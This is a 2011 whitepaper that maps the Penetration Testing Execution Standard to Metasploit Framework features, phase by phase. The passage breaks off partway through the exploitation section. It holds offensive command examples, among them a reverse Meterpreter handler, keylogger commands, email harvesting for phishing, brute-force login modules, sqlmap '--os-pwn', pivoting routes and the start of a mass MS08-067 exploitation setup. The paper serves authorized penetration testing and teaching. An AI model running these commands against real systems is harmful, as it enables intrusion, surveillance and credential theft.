An analysis of the Metasploit Framework relative to the Penetration Testing Execution Standard (PTES) 1.0 guidance.

12/01/2011
By Brandon Perry, @BrandonPrry (www.volatileminds.net)

This document has been written to analyze and map the Penetration Testing Execution Standard (PTES) guidance to the Metasploit Framework. The primary goal of the document is to identify gaps in public penetration testing resources, both in PTES, and in Metasploit. A secondary goal is to provide the reader with a resource that can be used to better understand both the PTES guidance document, and the Metasploit Framework's capabilities.

The Penetration Testing Standard has been developed by industry leading security testing gurus to help guide individuals and teams whom perform vulnerability assessments and penetration tests for government, corporate, or other entities. The document covers everything from start to finish in a penetration test, from pre-engagement to post-exploitation.

The Metasploit Framework is an open-source computer security framework which provides information about security vulnerabilities and aids in penetration testing and IDS signature development. In former revisions, its focus was developing and executing exploit code against a remote target machine, though it has grown into a fully-functional penetration testing suite in recent times. Certain assumptions are made throughout this paper, such as assuming the reader is using Metasploit on a Linux-based operating. Please look into using Backtrack within a VM if you do not have the means for a full Linux desktop. You will have a much better user experience when interacting with the framework.

The PTES is a working, growing, and living project. While it has been recently released in a 1.0 version, it is still in its inception, and in authoring this document, it has become clear that there are some differences between the various forms of the guidance (mindmap, wiki, and PDF). An attempt has been made to normalize the guidance in this document, and call out the particular form or document when the guidance is not consistent.

This document is organized similarly to the PTES guidance. The PTES's scope is generally more broad than that of the Metasploit Framework, however, Metasploit is one of the most well-known OSS tools for penetration testers, making it a natural target to compare with the relevant components of the PTES guidance. If a section of the PTES does not map cleanly to functionality in the Metasploit Framework, this is called out in the document. The framework

is not a project management tool, thus there are entire sections that do not make sense to compare to the Framework, except perhaps to provide a rough outline of what might be done to implement the guidance in a future version of the framework.

Some liberty is taken in adding additional information and background knowledge of interest. This is explicitly called out wherever possible. It may be useful for the reader to parse this document side-by-side with the PTES Technical Guidelines.

You may find the Google Doc version of this paper, which will be updated with new techniques here.

1. Pre-Engagement

See the PTES Mindmap for this section here: http://www.pentest-standard.org/index.php/Pre-

engagement

While Metasploit isn't meant to be a pre-engagement tool in terms of penetration testing, it has functionality available to pass information easily between members of a team regarding scope, company contact information, and any other information needed before an engagement can begin. Tools that may better suit your needs in this area are Dradis, Redmine, or Trac. Metasploit Pro is pushing hard in this direction as well. For the most part, this area falls more under project management which is not something the Framework focuses on.

One aspect of Metasploit which is relevant to pre-engagement work is its concept of 'workspaces'. Making liberal use of workspaces (AKA 'projects' in Pro) allows you to logically segment your penetration tests inside Metasploit. An example of this is using one workspace per subnet or per division (HR dept, Finance, C-level). Doing so will help you to keep track of who you are currently testing, and may aid you in preventing exploitation of targets for which you do not have permission.

Let's look at how you can use workspaces to segment your own engagement. Your client has told you he has three departments, each with their own subnet (say, 192.168.1.0/24, .1/24, and .2/24). He told you specifically that .0 is the HR dept, .1 is the Finance dept, and .2 is the C-Level offices. While nmapping will only generally take place during the Information Gathering phase of a penetration test, it is shown here to show the user how logical segments of a network with workspaces will help later on.

```
# Set up separate workspaces:
msf > workspace -a "HR Dept"
msf > workspace -a "Finance"
msf > workspace -a "C-Level"

# Switch to the HR workspace, and enumerate hosts, now, HR hosts will only in this workspace
msf > workspace "HR Dept"
msf > db_nmap -sS -O 192.168.0.0/24
msf > hosts
```

db_nmap has now recorded all the host for the HR dept into the HR dept workspace. You may go to the Finance dept now, and run the following.

```
msf > workspace Finance
msf > db_nmap -sS -O 192.168.1.0/24
```

In summary, using the logical separation provided by workspaces keeps you from accidentally exploiting machines you aren't intending to, and allows you to focus on clusters of related machines easily.

```
# For more workspace-related commands, run:
msf > help workspace
```

Client Asset Verification

Say your client gives you a /8 slice of external-facing IP addresses, and you want to be sure they're fully in control of that class A. You need to ensure each host is their host, and

if anything comes up that tells you otherwise, report it to them. At the moment, Metasploit has no mechanism for client asset verification. However, I believe this would be fairly easy to implement within the framework.

You need to make sure each IP address the company gave you is theirs, but how do you do this? There is no inherent functionality with Metasploit to do this, however we can hack ourselves a nice one-liner for **irb** to automate the job for us. You may run a command similar to this from **irb**. I hacked this up, then HDM added some finishing touches adding the information to your notes.

```
msf> irb
>> Rex::Socket::RangeWalker.new("192.168.1.0/24").each {|x| d = `whois #{x}`; if
d !~ /regex/; framework.db.report_note(:ntype => "host.whois",
:host => x, :data => {'output' => d }); end }
```

In this example, for each host in our IP range, run the ‘whois’ command from the shell, and compare the results to a predefined regular expression. If it doesn’t match, save this host as a note because you need to go back to it later to assess the host. This is a neat hack, because it actually calls whois from your PATH to get the information. The `backticks` in Ruby are syntactic sugar for running system() calls and they return the output of the result. This is completely passive and an example of how powerful the automation facilities within the framework are.

Each one of the hosts should be able to match a specific string. If they don't, you can't verify they are actually owned by your client without further digging (no pun intended).

Notes and Goals

Currently there is no way of setting goals or having project-level notes (with no host association) within the framework. Functionality exists within the framework, but is not exposed anywhere. Using project-level notes, however, would be a great way of storing goals, primary contacts, and general information about the engagement. Patches are, of course, welcome.

In the next sections, we will cover other areas within the PTES Guidelines, such as intelligence gathering, exploitation, and post-exploitation.

2. Intelligence gathering

See the PTES Mindmap for this section here: http://www.pentest-standard.org/index.php/Intelligence_Gathering

Intelligence gathering takes place throughout the entire engagement. It is crucial to understand the type and amount of information available to you as a tester. With social networking, forums, and general websites leaking information externally, there are literally thousands of sites that can be juiced for info. Target users will often leave their work email address, location information (EXIF, 4square), and even full names, addresses, and more on public sites.

Target Selection

No guidance is provided by PTES on this topic. Targets vary widely, for example, the CEO's email, his iPhone, or even the safe he keeps behind his desk are valid pentest targets. Generally, however, you focus on what makes the business money, or what secrets keep the business functioning.

OSINT

Physical

The PTES wiki suggests using common search engines to find the physical location of a company. Other avenues could include using Whois, or EXIF location data, or generally gathering known / publicized locations from the company's site. This is not difficult to automate, but will generally require human intervention to sort and filter. This could be part of a larger 'company dossier' module.

In a few sections, we will discuss an external (to the framework) module for Metasploit that allows you to lookup the physical location of an IP address. We will also go over integration with the CorpWatch API and SEC EDGAR in later sections for gaining insight into physical locations of companies and clients.

The PTES Technical Guidelines provide a number of state-specific websites for gathering information. This has not been automated in any known Metasploit modules, and could be an easy win as a website-scraping module. Below I describe using the CorpWatch API directly from Metasploit to gather company location information, tax records, child and parent companies, and a whole slew of other information.

Company Information

For the following modules ticket, please see this ticket: http://dev.metasploit.com/redmine/issues/5966

Companies have to make a lot of information public, (especially public companies). This isn't always easy to get to and EDGAR (a database for the SEC) has a lot of great information. To access this in Metasploit, I have hacked up a couple of modules. They consume the CorpWatch API (which ties in with EDGAR) to search and find information on companies:

CorpWatch Search: http://files.volatileminds.net/misc/corpwatch_search.rb

```
msf > use auxiliary/gather/corpwatch_search
msf  auxiliary(corpwatch_search) > set COMPANY_NAME Rapid7
msf  auxiliary(corpwatch_search) > set LIMIT 1
msf  auxiliary(corpwatch_search) > set YEAR 2010
msf  auxiliary(corpwatch_search) > run

Company Information
==================

 CorpWatch ID  Company Name          Address
 ------------  ------------          -------
 cw_585281     Rapid7 LLC            545 BOYLSTON STREET, SUITE 400, BOSTON MA 02116
```

You may use the corpwatch_search module in conjunction with corpwatch_info to find out very

fine details about a company, including, but not limited to, parent and child companies, tax records, company history, present and past addresses, and names the company has registered.

CorpWatch Info: http://files.volatileminds.net/misc/corpwatch_info.rb

```
msf > use auxiliary/gather/corpwatch_info
msf  auxiliary(corpwatch_search) > set CW_ID cw_585281
msf  auxiliary(corpwatch_search) > set YEAR 2010
msf  auxiliary(corpwatch_search) > run
```

IP Geolocation

Pentestify's ip_geolocate module is a great example of how powerful Metasploit can be when dealing with third-party information sources. To use it, you must set you environment up a bit, and that is outside of the scope of this document. Feel free to read the source of the module, as it goes over everything you need to do to get the module running. Once you are setup:

```
cd /path/to/msf3/modules/auxiliary/gather/
wget http://www.pentestify.com/x/msf/modules/ip_geolocate.rb
```

Metasploit will automagically detect the new module on its next start-up.

```
msf > use auxiliary/gather/ip_geolocate
msf  auxiliary(ip_geolocate) > set IP_LIST /root/ip_list
msf  auxiliary(ip_geolocate) > set GEOIP_DB /root/GeoLiteCity.dat
msf  auxiliary(ip_geolocate) > run
```

With the info provided by this module, you can make good assumptions about the location of corporate systems, and postulate whether a server is being hosted by a hosting provider, or by the company itself. This gives you insight into the company network setup.

Shared Hosting

Before attacking a target's web applications, you need to be 100% sure nothing you do will affect hosts outside of scope. This includes web applications and virtual hosts hosted on shared hosting. If a third party is managing and hosting your client's content, you need to know about it. This should be information you can get from your client. However, they may refuse to give it to you and say find out for yourself (black box). There are some logic tests you can perform to ascertain the information you want (for instance, if the IP address of the host and the URL go two different places). However, no modules exist to perform these tests within the current source tree. A module that does just this would be an easy module to get working for a beginner, and even easier for an advanced developer.

You do have the option within the framework, however, to do a bruteforce vhost scan via vhost_scanner:

```
msf > use auxiliary/scanner/http/vhost_scanner
msf  auxiliary(vhost_scanner) > set RHOSTS 192.168.0.0/24
```

```
msf  auxiliary(vhost_scanner) > set DOMAIN rapid7.com
msf  auxiliary(vhost_scanner) > run
```

You may also look at this ticket within the Metasploit Redmine which adds functionality to discover vhosts via Bing: http://dev.metasploit.com/redmine/issues/5930

Logical

Being able to logically map out your network can lead to better understanding of how the network operates. It helps find Single Points of Failure, mission-critical machines, and hidden or offsite machines with VPN connections. There is no inherent functionality in the Framework to map out hosts you have stored in your database, however, you may do something along the lines of this to traceroute the routes of known hosts within the database:

```
msf > db_nmap 192.168.1.0/24
msf > irb
irb > framework.db.workspace.hosts.each  do |h|
irb > driver.run_single("db_nmap --traceroute #{h.address}")
irb > end
```

You can go through the results of the traceroute nmap performs and map out what computers pass through which routers, and which computers aren't actually on the physical network. A mechanism to create a "map" of the data nmap gives you during a traceroute is certainly doable. Note that Metasploit Pro automatically does this during discovery and provides a map in the interface.

Electronic Data

The Metasploit Framework integrates the concept of 'loot'. During your information gathering processes, you will need a consistent way to store and retrieve data you have gathered from hosts and victims. This where 'loot' comes in. It is exactly what you think it is, a way to store electronic information (data) within its database. Post modules that collect information during their run generally save the information within 'loot'. Generally speaking, this will only be useful for **internal** information, information relevant to the victim's internal network. This is opposed to **external** information, which would describe information about the victim's company.

```
msf > loot
msf > help loot
```

An example module that uses loot is the enum_ms_product_keys module:

```
msf > use post/windows/gather/enum_ms_product_keys
msf  post(enum_ms_product_keys) > set SESSION 1
msf  post(enum_ms_product_keys) > run
msf  post(enum_ms_product_keys) > loot
```

While there aren't many recon or IG related modules in metasploit today, one could imagine a module which parsed google for company-relevant PDFs, and stored them as loot (even though they're public info).

Financial

Using the corpwatch_info module (available here) you may set GET_FILINGS within Metasploit and retrieve any tax (10K) and SEC documents publicly available for any given company. GET_FILINGS is turned off by default to keep from spitting out too much data at once.

```
msf  > use auxiliary/gather/corpwatch_info
msf  auxiliary(corpwatch_info) > set CW_ID cw_585281
msf  auxiliary(corpwatch_info) > set GET_FILINGS true
msf  auxiliary(corpwatch_info) > run
```

Not all companies have this information available. However, it is always worth a try. These methods are completely passive, and can lead to very interesting information, such as executive bonuses, important figures in the company that aren't listed on a website, and what makes the company money. This aids in **Target Selection**.

The PTES wiki also lists many government run websites that may be scraped for financial information.

History

Using the corpwatch_info module, you may query for a specific companies history. This includes changes in parent and child companies, changes in names, addresses, and other information. GET_HISTORY is set to false to keep from overflowing the terminal screen.

```
msf  > use auxiliary/gather/corpwatch_info
msf  auxiliary(corpwatch_info) > set CW_ID cw_585281
msf  auxiliary(corpwatch_info) > set GET_HISTORY true
msf  auxiliary(corpwatch_info) > run
```

SocNet Profile, Internet Footprint, Blogosphere

The Metasploit Framework is currently missing the ability to gather data from social networking sites, search engines, and blogging engine/services. This is certainly not because of lack of capability within the framework, but simply because modules that will implement these facilities have not yet been written. No one has taken it upon themselves to write (and submit) modules to perform this type of searching.

If the reader were to feel brazen enough to try, search_email_collector would be a good module to start of looking at. Its code requires a bit of cleanup, but it is a great example of how to mulch data over the web.

For-Pay Information

No modules or functionality exists with the Metasploit Framework to interface with for-pay information sites, such as http://www.publicdata.com/, LexisNexis, or other similar sites. Sites like these could have auxiliary modules that interface with their websites or APIs, but nothing

exists publicly.

Human Intelligence

A few modules exists within Metasploit that could help in getting information via HUMINT (Human Intelligence) vectors. Modules that interface with webcams, keyloggers, and others allow you to eavesdrop on conversations and give you information on physical and local vulnerabilities. An example of using the keylogger built in to the Metasploit Framework after exploiting a victim's machine is as follows:

```
meterpreter > keyscan_start
meterpreter > keyscan_dump
```

One piece missing from this that I have not seen is saving this information to the local Metasploit database via loot or other means. Logically saving such data would be an issue. You can view more information in detail about keylogging in Metasploit here.

Webcam control and exploitation is discussed in detail in later sections.

Passive gathering

When you begin your initial intelligence gathering, the first thing you want is knowing who you are dealing with. Most companies have email addresses at their companies domain name, and employees bored at work will sign up for forums and things with this email address. These email addresses will also be listed on official company sites as primary contacts to certain departments within the company.

Metasploit has a module just for this, written by Carlos 'Darkoperator' Perez:

```
msf  > use auxiliary/gather/search_email_collector
msf  auxiliary(search_email_collector) > show options
msf  auxiliary(search_email_collector) > set DOMAIN rapid7.com
msf  auxiliary(search_email_collector) > run
[*] Located 19 email addresses for rapid7.com
```

Now you have a list of potential usernames that can be used for additional information gathering and phishing purposes (say, with auxiliary/client/smtp/emailer discussed later). These can be used with a dictionary-based brute-forcer later on services or HTTP authentication forms during more active parts of the engagement.

Semi-Passive Gathering

Sometimes it is appropriate and well within your means to simply crawl their website. Finding directories and files that aren't linked isn't nearly as boring as trudging through SEO-happy link farms trying to figure out what is available and where. This is a semi-passive way to emulate a user on their website and look around. Be sure to look at the advanced options, including, but not limited to, SleepTime and ThreadNum.

```
msf  auxiliary(msfcrawler) > set RHOSTS 192.168.1.155
msf  auxiliary(msfcrawler) > run
```

Active gathering

db_nmap is a command in Metasploit that is extremely useful. In fact, most experienced security professionals will already feel comfortable using it since the arguments are exactly the same, verbatim, as the nmap tool. The difference is that db_nmap will save your hosts in the DB and you will be able to use them throughout the engagement through the framework:

```
# run nmap against a target, record the results, and display them:
msf > db_nmap www.target.site
msf > hosts
```

A special type of auxiliary module is a *scanner module*. You feed it a range of hosts, usually in CIDR notation, various other options if need be, and it scans that range as quickly as possible for a specific thing. These modules allow saving their results as notes so they may be integrated into other tools within Metasploit and brought up later on in the engagement:

```
msf > use auxiliary/scanner/
Display all 188 possibilities? (y or n)
```

There are a lot of scanner modules, and these modules will become your best friend during an active engagement with a client's network. They are fast, and follow a UNIX-like approach of doing one thing and doing it well.

Some commonly used IG modules are:

---auxiliary/scanner/smb/*---

```
msf > use auxiliary/scanner/smb/smb2
msf  auxiliary(smb2) > set RHOSTS 192.168.1.0/24
msf  auxiliary(smb2) > run
```

---auxiliary/scanner/http/*---

```
msf  auxiliary(smb2) > use auxiliary/scanner/http/http_version
msf  auxiliary(http_version) > set RHOSTS 192.168.1.0/24
msf  auxiliary(http_version) > run
```

--auxiliary/scanner/snmp/*---

```
msf > use auxiliary/scanner/snmp/snmp_enum
msf  auxiliary(snmp_enum) > set RHOSTS 192.168.1.0/24
msf  auxiliary(snmp_enum) > run
```

The PTES guidelines goes into some protocol specifics, mentioning HTTP and SNMP, during the IG phase of an engagement. This could be expanded on in later revisions to include more standard protocols widely used within company networks (SMB, SSH, and RDP/VNC for instance).

DNS Zone Transfers

You may find the dns_enum auxiliary module useful when trying to glean information from DNS records. With this module (written by Darkoperator), you may perform a zone transfer against NS records, bruteforce subdomains and hostnames, do reverse lookups on IP ranges, and more. By default, bruteforcing is turned off:

```
msf > use auxiliary/gather/dns_enum
msf  auxiliary(dns_enum) > set DOMAIN volatileminds.net
msf  auxiliary(dns_enum) > run
```

Document Meta-data

There is no inherent functionality for meta-data gathering in Metasploit. You may look at metagoofil for this (not related to the Metasploit Project as far as I know). The concept of pointing Metasploit at a share or web directory and saying “fetch metadata” is easy to imagine, but the implementation is not. Having a library like libextract (librextract anyone?) would be the core issue for enabling such functionality.

IPv6

PTES doesn't cover IPv6 vs IPv4 much (IPv6 only mentioned once on page 26 in the PDF, and mentioned briefly in the wiki). This may or may not be intended but is very important to note. It gives you insight into the maturity of a network and of it administrators as well. Metasploit has excellent support for both protocols and for gathering on both types of networks.

```
msf  > use auxiliary/scanner/discovery/ipv6_neighbor
msf  auxiliary(ipv6_neighbor) > set RHOSTS 192.168.1.0/24
msf  auxiliary(ipv6_neighbor) > set SMAC 3C:75:4A:EF:1F:A5
msf  auxiliary(ipv6_neighbor) > run
```

Not only does Metasploit make finding IPv6 clients easy, it makes *exploiting* them easy as well. Metasploit has tons of IPv6 payloads that mirror the IPv4 payloads.

```
msf > use multi/handler
msf  exploit(handler) > set PAYLOAD windows/meterpreter/reverse_ipv6_tcp
msf  exploit(handler) > set LHOST 192.168.1.146
msf  exploit(handler) > set LPORT 4567
msf  exploit(handler) > exploit
```

Packetfu, a library shipped with the Metasploit Framework, has support for forging IPv6 packets.

Threat Modeling

(http://www.pentest-standard.org/index.php/Threat_Modeling)

Not too much for threat modeling. Information gathering is rocking, acting on the information is lacking within the framework. Metasploit Community and Pro, can be used to slice & dice

services & hosts in the database, which may be helpful during a threat modeling exercise.

Depending on how extensively the threat model is thought through and examined, a tool such as Visio may be the right choice. That said, a simple list of probable targets may do the trick in many cases. Using Metasploit Pro, these targets could be tagged and these tags used as input to modules.

Automation

Automation isn't something that just happens once in an engagement (hopefully!). You could apply this section to each phase of a penetration test, and efforts are done throughout this document to show how to accomplish this. You may also want to look at Jonathan Cran's SOURCE Barcelona materials which covers a variety of automation techniques with the framework.

Metasploit **is the definitive framework** for security testing automation. The framework is amazingly powerful at making relatively basic and mundane testing tasks repeatable and automatable. Metasploit Pro builds on the framework, automating even more testing tasks.

Resource scripts with embedded Ruby are now the way to go for framework users when automating Metasploit modules (and external ruby code). With resource scripts, ERB (embedded Ruby), and Active Record, you can automate ***anything*** you want within the framework.

Carlos 'Darkoperator' Perez has done some great work in the automation and post-exploitation phase for Metasploit. Here is an easy-to-follow example of using a resource script with a bit more power.

Source: http://www.darkoperator.com/blog/2011/9/10/extending-metasploit-resource-files.html

```
<ruby>
if Process.uid == 0  #check if we are root
        # Set Variables
        scanned_hosts = []

        # Collect host already scanned with nmap
        print_status("Collecting hosts already scanned by nmap.")
        framework.db.notes.each do |n|
                if n.ntype =~ /host.nmap/
                        scanned_hosts << n.host_id
                end
        end
        # Remove duplicates in-place
        scanned_hosts.uniq!

        # Collect list of Hosts
        framework.db.hosts.each do |h|
                if not scanned_hosts.include?(h.id)
                        print_good("Running nmap scan against #{h.address}")
                        self.run_single("db_nmap -A -sV -T4 --stats-every 5s -Pn
#{h.address}")
                else
```

```
                        print_status("Host #{h.address} has already been scanned")
                end
        end
else
        print_error("You need to run this resource file as root!!!")
end
</ruby>
```

Save the above script to your home directory as get_new_hosts.rb.rc and run it with msfconsole with the -r argument (remember, as root. Alternatively, you may change up the nmap arguments to make it non-root compatible):

```
msfconsole -r ~/get_new_hosts.rb.rc
```

You may also use the 'resource' command in msfconsole to load them while in the CLI already.

```
msf > resource ~/get_new_hosts.rb.rc
```

You are not only automating the framework, but the database information as well. With resource files, anything can be automated. Even autopwning (discussed later in the paper).

Bruteforcing non-linked web information

Sysadmins like to think, if a directory isn't linked somewhere, you can't find it unless you are told. Well, that simply isn't true. Tools exist within Metasploit to uncover just these types of directories on websites. However, one tool doesn't cut it since everyone has their own dictionaries. Look at nikto, dirb, and dirbuster as well.

You may use auxiliary/scanner/http/dir_scanner + a dictionary of your choice. You may also leave the default dictionary which comes with Metasploit:

```
msf  > use auxiliary/scanner/http/dir_scanner
msf  auxiliary(dir_scanner) > set RHOSTS 192.168.1.146
msf  auxiliary(dir_scanner) > run
```

HTTP Method Enumeration

You may find yourself in a server farm one day and you need to see if any of them are poorly configured, allowing PUTs or even a read/write WebDAV share. Metasploit has a module just for this, as seen below:

```
msf > use auxiliary/scanner/http/options
msf auxiliary(options) > set RHOSTS 192.168.1.0/24
msf auxiliary(options) > run
```

Obfuscation

While no direct means of obfuscation exist in Metasploit, it does have the ability to use proxies and pivoting through hosts. The reason I say there are no *direct* means is because obfuscation is merely a side-effect of the larger goals of pivoting (though the you can make the argument proxies are built, in part, for obfuscation). Some people may argue with me on this. This allows

you to create and use multiple exit nodes while in an engagement, and allows you to reach into networks you wouldn't be able to otherwise.

One thing you will use fairly often in conjunction with Metasploit are proxies. You can easily tell Metasploit to send all data through a proxy, and many proxy types are supported:

For SOCKS V4, you should run the following

```
set Proxies socks4:192.168.1.46:1080
```

An HTTP proxy is just as easy:

```
set Proxies HTTP:192.168.1.2:8080
```

You should keep in mind, reverse payloads don't work with proxies, you must use binds.

Pivoting is the act of using your victims internal connection to the network to gain more access to its internal network. You achieve this in the framework via the 'route' command.

```
msf > route add 192.168.0.0 255.255.255.0 1
```

Using this new route, you may run scanners on the internal network of the victim, and actively exploit internal machines you wouldn't have access to otherwise. An excellent write-up on routing and pivoting with Metasploit was done by Chris 'carnal0wnage' Gates.

Reverse payloads such as reverse_tcp work just fine through pivots, as opposed to proxies.

Correlation and validation between tools

(http://www.pentest-standard.org/index.php/Vulnerability_Analysis)

Metasploit imports report files from all major security vulnerability and scanning tool out there, both free and paid for. It has the ability to take their reports and import the results as hosts and other various information to consume later in from the framework, seamlessly.

Acunetix XML
Amap Log
Amap Log -m
Appscan XML
Burp Session XML
Foundstone XML
IP360 ASPL
IP360 XML v3
Microsoft Baseline Security Analyzer
Nessus NBE
Nessus XML (v1 and v2)
NetSparker XML
NeXpose Simple XML
NeXpose XML Report
Nmap XML
OpenVAS Report
Qualys Asset XML
Qualys Scan XML
Retina XML

Importing these reports is easy, and the heavy-lifting is done for you. Metasploit will automagically detect the report type and know what data to look for.

```
msf > db_import openvas_report.xml nessus_report.xml nmap_report.xml
```

You may also use wildcards.

```
msf > db_import *.xml
```

Short and sweet.

Nessus
Metasploit also has direct access to your Nessus servers, thanks to MrUrbanity (aka Zate)

```
msf > load nessus
```

You may query reports, initiate scans, alter configs, and import results easily with this plugin. It uses the Nessus RPC to communicate with the Nessus server.

OpenVAS
OpenVAS plugin (via omp) in plugins/ thanks to kost and averagesecurityguy.

```
msf > load openvas
```

Nexpose
Ability to talk with Nexpose from within the framework.

```
msf > load nexpose
```

Private research/Integration with virtual machines
plugins/lab.rb is the go-to module for managing emulated networks. You can create and recreate replicas of victims easily (or base images) from within Metasploit so you don't worry about breaking real equipment on the customer's side. The lab plugin has support for VirtualBox, VMware, ESXi, Dynagen, and others.

```
msf > load lab
msf > help lab
```

Running help will show you how powerful the lab plugin is. You have complete control over your labs from Metasploit.

Public Research
The Metasploit Framework *is* its own exploit database. Hundreds of exploits that have been researched and submitted independently (with multiple targets per module sometimes) and are of high quality. The community is always willing to lend a helping hand to someone struggling with an exploit. Looking for a Tomcat exploit to be a basis for a new module you are cooking up? Take your pick:

```
msf > search tomcat
```

What about that Energizer Duo trojan?

```
msf  > search energizer
```

You may also be familiar with the SHODAN computer search engine. No module exists currently in the framework to query this engine, but there is a module in Redmine that implements this:

```
msf > use auxiliary/gather/shodan_enumerator
msf  auxiliary(shodan_enumerator) > set QUERY ftp anon
msf  auxiliary(shodan_enumerator) > set APIKEY <apikey>
msf  auxiliary(shodan_enumerator) > run
```

The collection of exploits and modules in Metasploit is vast, and that lends itself to being one of the first places to go for research into any type of exploit.

As an offhand note, the Corelan guys have a very cool tool called mona.py which aids in researching crashes of Win32 applications. It will spit out Metasploit modules when it is able to successfully detect exploitable code in a crash. I go into detail about using mona.py in conjunction with Metasploit and Immunity Debugger on my blog: http://volatile-minds.blogspot.com/2011/07/breaking-mailenable-234-lesson-in.html

Fuzzing

The Metasploit Framework makes fuzzing applications and services incredibly easy. Many fuzzers exist in auxiliary/fuzzers/ (and I hear writing fuzzers in Metasploit is something HDM is very fond of). Metasploit has a variety of fuzzers for standard protocols, applications, and other misc services.

```
root@w00den-pickle:~/tools/metasploit/modules/auxiliary/fuzzers# ls
ftp  http  smb  smtp  ssh  tds  wifi
root@w00den-pickle:~/tools/metasploit/modules/auxiliary/fuzzers#
```

Say you come across a custom written FTP or HTTP client that is vulnerable to a buffer overflow in a standard request (prior to auth no less). Just ‘use’ the generic fuzzer for the protocol and see whats it tells you. Here is an example with a fun little FTP server called KnFTP.

```
msf > use auxiliary/fuzzers/ftp/ftp_pre_post
msf  auxiliary(ftp_pre_post) > set RHOSTS 192.168.1.151
msf  auxiliary(ftp_pre_post) > run
```

I was able to crash KnFTP with a 320-character long string. When it says ‘Cyclic’, that means the string is generated with the pattern_create() function inside the framework. This creates

a long string that is easily traversable (while in a debugger, for instance). This string pattern is how mona.py gathers it's information about the stack. Even if you don't get to exploit their custom software, crashing their application consistently is still a denial of service attack, and should be noted as such.

Sniffing

Dsniff and related tools are excellent to have handy in any engagement, but why leave msfconsole to start sniffing the network a la Dsniff. Take a look at the psnuffle module. It requires pcabrub, an external gem.

```
msf > use auxiliary/sniffer/psnuffle
msf  auxiliary(psnuffle) > run
```

Disassembly

msfpescan can help you find jumps and pop+pop+ret instructions for use in developing your exploits. Combined with the metasm library, you can perform binary manipulation, disassembly, and ultimately exploitation.

msfpescan stands for Metasploit Framework Portable Executable Scanner. A Portable Executable (or PE for short) is simply a specific type of executable used on Windows. It is by far the most common (however, assemblies may be catching up). You use msfpescan to dig into these binaries and find specific ASM sequences that are often used in exploit development, just has jumps and pop+pop+rets. Example usage is as follows, using -j to find jumps:

```
msfpescan -j vuln.exe
```

To find pop+pop+rets, simply change up the command a little bit:

```
msfpescan -p vuln.exe
```

Web Application Scanners

While a web application scanner is certainly not out of the question in terms of functionality that the framework exposes, there is no inherent web application scanner abilities. You may crawl websites with modules such as msfcrawler (covered later) or auxiliary/scanner/http/crawler and exploit specific vulnerabilities in Web Applications (and even automate it with resource files), but no modules exist yet on par with full blown web app scanners like w3af, wapiti, or skipfish.

However, a few application scanners independent of Metasploit have integration with the framework and allow you to crawl, audit, and finally exploit vulnerabilities within insecure web applications easily.

One example is sqlmap. sqlmap integrates functionality from the framework cleanly. When used in conjunction with the '--crawl' argument, you can successfully audit and exploit SQL injection vulnerabilities via forms and URL parameters that are susceptible to injection techniques.

```
sqlmap -u "http://www.example.com" --crawl=3 --os-pwn --msf-path=/root/tools/metasploit/
```

Another example is XSSF, the cross-site scripting framework. This framework allows you to find and exploit XSS vulnerabilities easily and quickly. With Metasploit tightly integrated, you will be getting shells in no time via Java or browser exploits served through the XSS attack vectors.

VoIP (Voice over IP)

There isn't a whole lot covering VoIP within Metasploit. I challenge our readers to change this because VoIP is integral to many businesses today. There are a few options, such as the following Asterisk user dictionary-attack:

```
msf > use auxiliary/voip/asterisk_login
msf  auxiliary(asterisk_login) > set RHOSTS 127.0.0.1
msf  auxiliary(asterisk_login) > run
```

You may also change the username and password lists in the options. By default, it consumes wordlists within Metasploit.

Virtual Machines

Virtualization is taking off in corporate networks. It allows low-cost scalability and makes backing up and restoring from backups easy as cake. Intrusion remediation can be done quickly and easily. However, as virtualization becomes more prominent within corporate (and even home) networks, so does the exploitability of virtual machines.

Enter **VASTO**, the **V**irtualization **AS**sesment **TO**olkit. VASTO is a suite of modules that make exploiting virtual machines as painless as possible. The modules are Metasploit modules, written in Ruby. Metasploit integration for VASTO is tight, allowing you the full power of the framework to be utilized through the toolkit.

VASTO has facilities to bruteforce credentials (xen_login, vmware_login), IG (vmware_version), and numerous modules to take advantage of vulnerabilities such as directory traversal (vmware_updatemanager_traversal). You even have an autopwn option (vmware_autopwn).

Embedded Systems

Embedded systems come in a wide variety of flavours. Routers, cameras, and switches are just the tip of the iceberg, and are widely in use across networks worldwide. Luckily, the Metasploit Framework has modules to help find and exploit such systems easily.

Sometimes you may come across routers with poorly configured NAT (Network Address Translation). Metasploit has a couple modules specifically to detect this type of vulnerability:

```
msf > use auxiliary/scanner/bnat/bnat_scanner
msf auxiliary(bnat_scanner) > set RHOSTS 192.168.1.0/24
msf auxiliary(bnat_scanner) > run
```

The previous example is used in conjunction with the bnat_router (bnat == bad NAT) auxiliary

module.

Not only this, but the Metasploit Framework has support for many embedded Cisco devices right out of the box:

```
/root/tools/metasploit$ rgrep cisco | cut -d ':' -f 1 | sort | uniq
./admin/cisco/vpn_3000_ftp_bypass.rb
./dos/cisco/ios_http_percentpercent.rb
./scanner/finger/finger_users.rb
./scanner/http/cisco_device_manager.rb
./scanner/http/cisco_ios_auth_bypass.rb
./scanner/http/cisco_nac_manager_traversal.rb
./scanner/snmp/cisco_config_tftp.rb
./scanner/snmp/cisco_upload_file.rb
./spoof/cisco/dtp.rb
```

3. Exploitation

(http://www.pentest-standard.org/index.php/Exploitation)

Metasploit is the *de-facto* OSS exploitation and vulnerability research tool out there. It has many built-in mechanisms to encode payloads to help get around AV. It has many essential debugging tools built-in which aid in vulnerability research. Cross-referencing available CVE's in Metasploit Framework with results from a vulnerability scanner such as Nessus or OpenVAS allows you to go from assessing vulnerabilities to exploiting them and getting shell. New exploits are added almost daily, even 0-days.

However, Metasploit can only exploit a subset of vulnerabilities that can exist within an infrastructure. It is really of no use to physical security engagements, and alone, won't help you too much with social engineering attacks and campaigns. The latter can be bridged by the Social Engineering Toolkit, an excellent toolkit integrating Metasploit to build and manage social engineering campaigns.

Autopwning

db_autopwn has been removed from the source tree. However, for those who feel it is something worth using during an engagement, users may find the db_autopwn rewritten and forked as a plugin for the Metasploit Framework. You may find the plugin here:

https://github.com/neinwechter/metasploit-framework/blob/autopwn-modules/plugins/db_autopwn.rb

However, for those of us who feel db_autopwn isn't really up to par with current penetration testing standards, you may hack yourself up functionality similar to what db_autopwn does, but on a much smaller, quieter scale. Say you have a network with 200 hosts, and ⅔'s of the hosts are vulnerable to MS08-067. Do you really want to sit there and exploit each host one by one? Of course not. Here is a quick hack to get some automation into the workflow:

```
msf> use exploit/windows/smb/ms08_067_netapi
msf  exploit(ms08_067_netapi) > set DisablePayloadHandler true
msf  exploit(ms08_067_netapi) > irb
